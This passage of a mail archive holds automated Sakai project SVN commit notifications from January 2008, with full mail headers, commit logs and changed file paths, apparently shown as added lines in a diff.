with ESMTP id m04G9Eqg007199 + for ; Fri, 4 Jan 2008 11:09:15 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04G9EuX007197 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 11:09:14 -0500 +Date: Fri, 4 Jan 2008 11:09:14 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to zqian@umich.edu using -f +To: source@collab.sakaiproject.org +From: zqian@umich.edu +Subject: [sakai] svn commit: r39760 - in site-manage/trunk/site-manage-tool/tool/src: java/org/sakaiproject/site/tool webapp/vm/sitesetup +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 11:11:03 2008 +X-DSPAM-Confidence: 0.6959 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39760 + +Author: zqian@umich.edu +Date: 2008-01-04 11:09:12 -0500 (Fri, 04 Jan 2008) +New Revision: 39760 + +Modified: +site-manage/trunk/site-manage-tool/tool/src/java/org/sakaiproject/site/tool/SiteAction.java +site-manage/trunk/site-manage-tool/tool/src/webapp/vm/sitesetup/chef_site-siteInfo-list.vm +Log: +fix to SAK-10911: Refactor use of site.upd, site.upd.site.mbrship and site.upd.grp.mbrship permissions + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From gsilver@umich.edu Fri Jan 4 11:10:22 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.39]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 11:10:22 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 11:10:22 -0500 +Received: from holes.mr.itd.umich.edu (holes.mr.itd.umich.edu [141.211.14.79]) + by faithful.mail.umich.edu () with ESMTP id m04GAL9k010604; + Fri, 4 Jan 2008 11:10:21 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY holes.mr.itd.umich.edu ID 477E5A67.34350.23015 ; + 4 Jan 2008 11:10:18 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 98D04BAD43; + Fri, 4 Jan 2008 16:10:11 +0000 (GMT) +Message-ID: <200801041608.m04G8d7w007184@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 966 + for ; + Fri, 4 Jan 2008 16:09:51 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 9F89542DD0 + for ; Fri, 4 Jan 2008 16:09:50 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04G8dXN007186 + for ; Fri, 4 Jan 2008 11:08:39 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04G8d7w007184 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 11:08:39 -0500 +Date: Fri, 4 Jan 2008 11:08:39 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to gsilver@umich.edu using -f +To: source@collab.sakaiproject.org +From: gsilver@umich.edu +Subject: [sakai] svn commit: r39759 - mailarchive/trunk/mailarchive-tool/tool/src/bundle +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 11:10:22 2008 +X-DSPAM-Confidence: 0.7606 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39759 + +Author: gsilver@umich.edu +Date: 2008-01-04 11:08:38 -0500 (Fri, 04 Jan 2008) +New Revision: 39759 + +Modified: +mailarchive/trunk/mailarchive-tool/tool/src/bundle/email.properties +Log: +SAK-12592 +http://bugs.sakaiproject.org/jira/browse/SAK-12592 +- left moot (unused) entries commented for now + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From wagnermr@iupui.edu Fri Jan 4 10:38:42 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.90]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 10:38:42 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 10:38:42 -0500 +Received: from shining.mr.itd.umich.edu (shining.mr.itd.umich.edu [141.211.93.153]) + by flawless.mail.umich.edu () with ESMTP id m04Fcfjm012313; + Fri, 4 Jan 2008 10:38:41 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY shining.mr.itd.umich.edu ID 477E52FA.E6C6E.24093 ; + 4 Jan 2008 10:38:37 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 6A39594CD2; + Fri, 4 Jan 2008 15:37:36 +0000 (GMT) +Message-ID: <200801041537.m04Fb6Ci007092@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 690 + for ; + Fri, 4 Jan 2008 15:37:21 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id CEFA037ACE + for ; Fri, 4 Jan 2008 15:38:17 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04Fb6nh007094 + for ; Fri, 4 Jan 2008 10:37:06 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04Fb6Ci007092 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 10:37:06 -0500 +Date: Fri, 4 Jan 2008 10:37:06 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to wagnermr@iupui.edu using -f +To: source@collab.sakaiproject.org +From: wagnermr@iupui.edu +Subject: [sakai] svn commit: r39758 - in gradebook/trunk: app/business/src/java/org/sakaiproject/tool/gradebook/business/impl service/api/src/java/org/sakaiproject/service/gradebook/shared service/impl/src/java/org/sakaiproject/component/gradebook +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 10:38:42 2008 +X-DSPAM-Confidence: 0.7559 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39758 + +Author: wagnermr@iupui.edu +Date: 2008-01-04 10:37:04 -0500 (Fri, 04 Jan 2008) +New Revision: 39758 + +Modified: +gradebook/trunk/app/business/src/java/org/sakaiproject/tool/gradebook/business/impl/GradebookManagerHibernateImpl.java +gradebook/trunk/service/api/src/java/org/sakaiproject/service/gradebook/shared/GradebookService.java +gradebook/trunk/service/impl/src/java/org/sakaiproject/component/gradebook/GradebookServiceHibernateImpl.java +Log: +SAK-12175 +http://bugs.sakaiproject.org/jira/browse/SAK-12175 +Create methods required for gb integration with the Assignment2 tool +getGradeDefinitionForStudentForItem + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From zqian@umich.edu Fri Jan 4 10:17:43 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.97]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 10:17:43 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 10:17:42 -0500 +Received: from creepshow.mr.itd.umich.edu (creepshow.mr.itd.umich.edu [141.211.14.84]) + by sleepers.mail.umich.edu () with ESMTP id m04FHgfs011536; + Fri, 4 Jan 2008 10:17:42 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY creepshow.mr.itd.umich.edu ID 477E4E0F.CCA4B.926 ; + 4 Jan 2008 10:17:38 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id BD02DBAC64; + Fri, 4 Jan 2008 15:17:34 +0000 (GMT) +Message-ID: <200801041515.m04FFv42007050@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 25 + for ; + Fri, 4 Jan 2008 15:17:11 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 5B396236B9 + for ; Fri, 4 Jan 2008 15:17:08 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04FFv85007052 + for ; Fri, 4 Jan 2008 10:15:57 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04FFv42007050 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 10:15:57 -0500 +Date: Fri, 4 Jan 2008 10:15:57 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to zqian@umich.edu using -f +To: source@collab.sakaiproject.org +From: zqian@umich.edu +Subject: [sakai] svn commit: r39757 - in assignment/trunk: assignment-impl/impl/src/java/org/sakaiproject/assignment/impl assignment-tool/tool/src/webapp/vm/assignment +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 10:17:42 2008 +X-DSPAM-Confidence: 0.7605 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39757 + +Author: zqian@umich.edu +Date: 2008-01-04 10:15:54 -0500 (Fri, 04 Jan 2008) +New Revision: 39757 + +Modified: +assignment/trunk/assignment-impl/impl/src/java/org/sakaiproject/assignment/impl/BaseAssignmentService.java +assignment/trunk/assignment-tool/tool/src/webapp/vm/assignment/chef_assignments_instructor_list_submissions.vm +Log: +fix to SAK-12604:Don't show groups/sections filter if the site doesn't have any + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From antranig@caret.cam.ac.uk Fri Jan 4 10:04:14 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.25]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 10:04:14 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 10:04:14 -0500 +Received: from holes.mr.itd.umich.edu (holes.mr.itd.umich.edu [141.211.14.79]) + by panther.mail.umich.edu () with ESMTP id m04F4Dci015108; + Fri, 4 Jan 2008 10:04:13 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY holes.mr.itd.umich.edu ID 477E4AE3.D7AF.31669 ; + 4 Jan 2008 10:04:05 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 933E3BAC17; + Fri, 4 Jan 2008 15:04:00 +0000 (GMT) +Message-ID: <200801041502.m04F21Jo007031@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 32 + for ; + Fri, 4 Jan 2008 15:03:15 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id AC2F6236B9 + for ; Fri, 4 Jan 2008 15:03:12 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04F21hn007033 + for ; Fri, 4 Jan 2008 10:02:01 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04F21Jo007031 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 10:02:01 -0500 +Date: Fri, 4 Jan 2008 10:02:01 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to antranig@caret.cam.ac.uk using -f +To: source@collab.sakaiproject.org +From: antranig@caret.cam.ac.uk +Subject: [sakai] svn commit: r39756 - in component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component: impl impl/spring/support impl/spring/support/dynamic impl/support util +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 10:04:14 2008 +X-DSPAM-Confidence: 0.6932 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39756 + +Author: antranig@caret.cam.ac.uk +Date: 2008-01-04 10:01:40 -0500 (Fri, 04 Jan 2008) +New Revision: 39756 + +Added: +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/impl/spring/support/dynamic/ +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/impl/spring/support/dynamic/DynamicComponentManager.java +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/impl/support/ +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/impl/support/DynamicComponentRecord.java +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/impl/support/DynamicJARManager.java +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/impl/support/JARRecord.java +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/util/ByteToCharBase64.java +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/util/FileUtil.java +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/util/RecordFileIO.java +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/util/RecordReader.java +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/util/RecordWriter.java +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/util/StreamDigestor.java +Modified: +component/branches/SAK-12166/component-api/component/src/java/org/sakaiproject/component/impl/spring/support/ComponentsLoaderImpl.java +Log: +Temporary commit of incomplete work on JAR caching + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From gopal.ramasammycook@gmail.com Fri Jan 4 09:05:31 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.90]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 09:05:31 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 09:05:31 -0500 +Received: from guys.mr.itd.umich.edu (guys.mr.itd.umich.edu [141.211.14.76]) + by flawless.mail.umich.edu () with ESMTP id m04E5U3C029277; + Fri, 4 Jan 2008 09:05:30 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY guys.mr.itd.umich.edu ID 477E3D23.EE2E7.5237 ; + 4 Jan 2008 09:05:26 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 33C7856DC0; + Fri, 4 Jan 2008 14:05:26 +0000 (GMT) +Message-ID: <200801041403.m04E3psW006926@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 575 + for ; + Fri, 4 Jan 2008 14:05:04 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 3C0261D617 + for ; Fri, 4 Jan 2008 14:05:03 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04E3pQS006928 + for ; Fri, 4 Jan 2008 09:03:52 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04E3psW006926 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 09:03:51 -0500 +Date: Fri, 4 Jan 2008 09:03:51 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to gopal.ramasammycook@gmail.com using -f +To: source@collab.sakaiproject.org +From: gopal.ramasammycook@gmail.com +Subject: [sakai] svn commit: r39755 - in sam/branches/SAK-12065: samigo-api/src/java/org/sakaiproject/tool/assessment/shared/api/grading samigo-app/src/java/org/sakaiproject/tool/assessment/ui/bean/evaluation samigo-app/src/java/org/sakaiproject/tool/assessment/ui/listener/evaluation samigo-services/src/java/org/sakaiproject/tool/assessment/facade samigo-services/src/java/org/sakaiproject/tool/assessment/integration/helper/ifc samigo-services/src/java/org/sakaiproject/tool/assessment/integration/helper/integrated samigo-services/src/java/org/sakaiproject/tool/assessment/integration/helper/standalone samigo-services/src/java/org/sakaiproject/tool/assessment/shared/impl/grading +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 09:05:31 2008 +X-DSPAM-Confidence: 0.7558 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39755 + +Author: gopal.ramasammycook@gmail.com +Date: 2008-01-04 09:02:54 -0500 (Fri, 04 Jan 2008) +New Revision: 39755 + +Modified: +sam/branches/SAK-12065/samigo-api/src/java/org/sakaiproject/tool/assessment/shared/api/grading/GradingSectionAwareServiceAPI.java +sam/branches/SAK-12065/samigo-app/src/java/org/sakaiproject/tool/assessment/ui/bean/evaluation/QuestionScoresBean.java +sam/branches/SAK-12065/samigo-app/src/java/org/sakaiproject/tool/assessment/ui/bean/evaluation/SubmissionStatusBean.java +sam/branches/SAK-12065/samigo-app/src/java/org/sakaiproject/tool/assessment/ui/bean/evaluation/TotalScoresBean.java +sam/branches/SAK-12065/samigo-app/src/java/org/sakaiproject/tool/assessment/ui/listener/evaluation/SubmissionStatusListener.java +sam/branches/SAK-12065/samigo-services/src/java/org/sakaiproject/tool/assessment/facade/PublishedAssessmentFacadeQueries.java +sam/branches/SAK-12065/samigo-services/src/java/org/sakaiproject/tool/assessment/facade/PublishedAssessmentFacadeQueriesAPI.java +sam/branches/SAK-12065/samigo-services/src/java/org/sakaiproject/tool/assessment/integration/helper/ifc/SectionAwareServiceHelper.java +sam/branches/SAK-12065/samigo-services/src/java/org/sakaiproject/tool/assessment/integration/helper/integrated/SectionAwareServiceHelperImpl.java +sam/branches/SAK-12065/samigo-services/src/java/org/sakaiproject/tool/assessment/integration/helper/standalone/SectionAwareServiceHelperImpl.java +sam/branches/SAK-12065/samigo-services/src/java/org/sakaiproject/tool/assessment/shared/impl/grading/GradingSectionAwareServiceImpl.java +Log: +SAK-12065 Gopal - Samigo Group Release. SubmissionStatus/TotalScores/Questions View filter. + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From david.horwitz@uct.ac.za Fri Jan 4 07:02:32 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.39]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 07:02:32 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 07:02:32 -0500 +Received: from guys.mr.itd.umich.edu (guys.mr.itd.umich.edu [141.211.14.76]) + by faithful.mail.umich.edu () with ESMTP id m04C2VN7026678; + Fri, 4 Jan 2008 07:02:31 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY guys.mr.itd.umich.edu ID 477E2050.C2599.3263 ; + 4 Jan 2008 07:02:27 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 6497FBA906; + Fri, 4 Jan 2008 12:02:11 +0000 (GMT) +Message-ID: <200801041200.m04C0gfK006793@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 611 + for ; + Fri, 4 Jan 2008 12:01:53 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 5296342D3C + for ; Fri, 4 Jan 2008 12:01:53 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04C0gnm006795 + for ; Fri, 4 Jan 2008 07:00:42 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04C0gfK006793 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 07:00:42 -0500 +Date: Fri, 4 Jan 2008 07:00:42 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to david.horwitz@uct.ac.za using -f +To: source@collab.sakaiproject.org +From: david.horwitz@uct.ac.za +Subject: [sakai] svn commit: r39754 - in polls/branches/sakai_2-5-x: . tool tool/src/java/org/sakaiproject/poll/tool tool/src/java/org/sakaiproject/poll/tool/evolvers tool/src/webapp/WEB-INF +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 07:02:32 2008 +X-DSPAM-Confidence: 0.6526 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39754 + +Author: david.horwitz@uct.ac.za +Date: 2008-01-04 07:00:10 -0500 (Fri, 04 Jan 2008) +New Revision: 39754 + +Added: +polls/branches/sakai_2-5-x/tool/src/java/org/sakaiproject/poll/tool/evolvers/ +polls/branches/sakai_2-5-x/tool/src/java/org/sakaiproject/poll/tool/evolvers/SakaiFCKTextEvolver.java +Removed: +polls/branches/sakai_2-5-x/tool/src/java/org/sakaiproject/poll/tool/evolvers/SakaiFCKTextEvolver.java +Modified: +polls/branches/sakai_2-5-x/.classpath +polls/branches/sakai_2-5-x/tool/pom.xml +polls/branches/sakai_2-5-x/tool/src/webapp/WEB-INF/requestContext.xml +Log: +svn log -r39753 https://source.sakaiproject.org/svn/polls/trunk +------------------------------------------------------------------------ +r39753 | david.horwitz@uct.ac.za | 2008-01-04 13:05:51 +0200 (Fri, 04 Jan 2008) | 1 line + +SAK-12228 implmented workaround sugested by AB - needs to be tested against a trunk build +------------------------------------------------------------------------ +dhorwitz@david-horwitz-6:~/branchManagemnt/sakai_2-5-x> svn merge -c39753 https://source.sakaiproject.org/svn/polls/trunk polls/ +U polls/.classpath +A polls/tool/src/java/org/sakaiproject/poll/tool/evolvers +A polls/tool/src/java/org/sakaiproject/poll/tool/evolvers/SakaiFCKTextEvolver.java +C polls/tool/src/webapp/WEB-INF/requestContext.xml +U polls/tool/pom.xml + +dhorwitz@david-horwitz-6:~/branchManagemnt/sakai_2-5-x> svn resolved polls/tool/src/webapp/WEB-INF/requestContext.xml +Resolved conflicted state of 'polls/tool/src/webapp/WEB-INF/requestContext.xml + + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From david.horwitz@uct.ac.za Fri Jan 4 06:08:27 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.98]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 06:08:27 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 06:08:27 -0500 +Received: from firestarter.mr.itd.umich.edu (firestarter.mr.itd.umich.edu [141.211.14.83]) + by casino.mail.umich.edu () with ESMTP id m04B8Qw9001368; + Fri, 4 Jan 2008 06:08:26 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY firestarter.mr.itd.umich.edu ID 477E13A5.30FC0.24054 ; + 4 Jan 2008 06:08:23 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 784A476D7B; + Fri, 4 Jan 2008 11:08:12 +0000 (GMT) +Message-ID: <200801041106.m04B6lK3006677@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 585 + for ; + Fri, 4 Jan 2008 11:07:56 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 1CACC42D0C + for ; Fri, 4 Jan 2008 11:07:58 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04B6lWM006679 + for ; Fri, 4 Jan 2008 06:06:47 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04B6lK3006677 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 06:06:47 -0500 +Date: Fri, 4 Jan 2008 06:06:47 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to david.horwitz@uct.ac.za using -f +To: source@collab.sakaiproject.org +From: david.horwitz@uct.ac.za +Subject: [sakai] svn commit: r39753 - in polls/trunk: . tool tool/src/java/org/sakaiproject/poll/tool tool/src/java/org/sakaiproject/poll/tool/evolvers tool/src/webapp/WEB-INF +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 06:08:27 2008 +X-DSPAM-Confidence: 0.6948 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39753 + +Author: david.horwitz@uct.ac.za +Date: 2008-01-04 06:05:51 -0500 (Fri, 04 Jan 2008) +New Revision: 39753 + +Added: +polls/trunk/tool/src/java/org/sakaiproject/poll/tool/evolvers/ +polls/trunk/tool/src/java/org/sakaiproject/poll/tool/evolvers/SakaiFCKTextEvolver.java +Modified: +polls/trunk/.classpath +polls/trunk/tool/pom.xml +polls/trunk/tool/src/webapp/WEB-INF/requestContext.xml +Log: +SAK-12228 implmented workaround sugested by AB - needs to be tested against a trunk build + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From david.horwitz@uct.ac.za Fri Jan 4 04:49:08 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.92]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 04:49:08 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 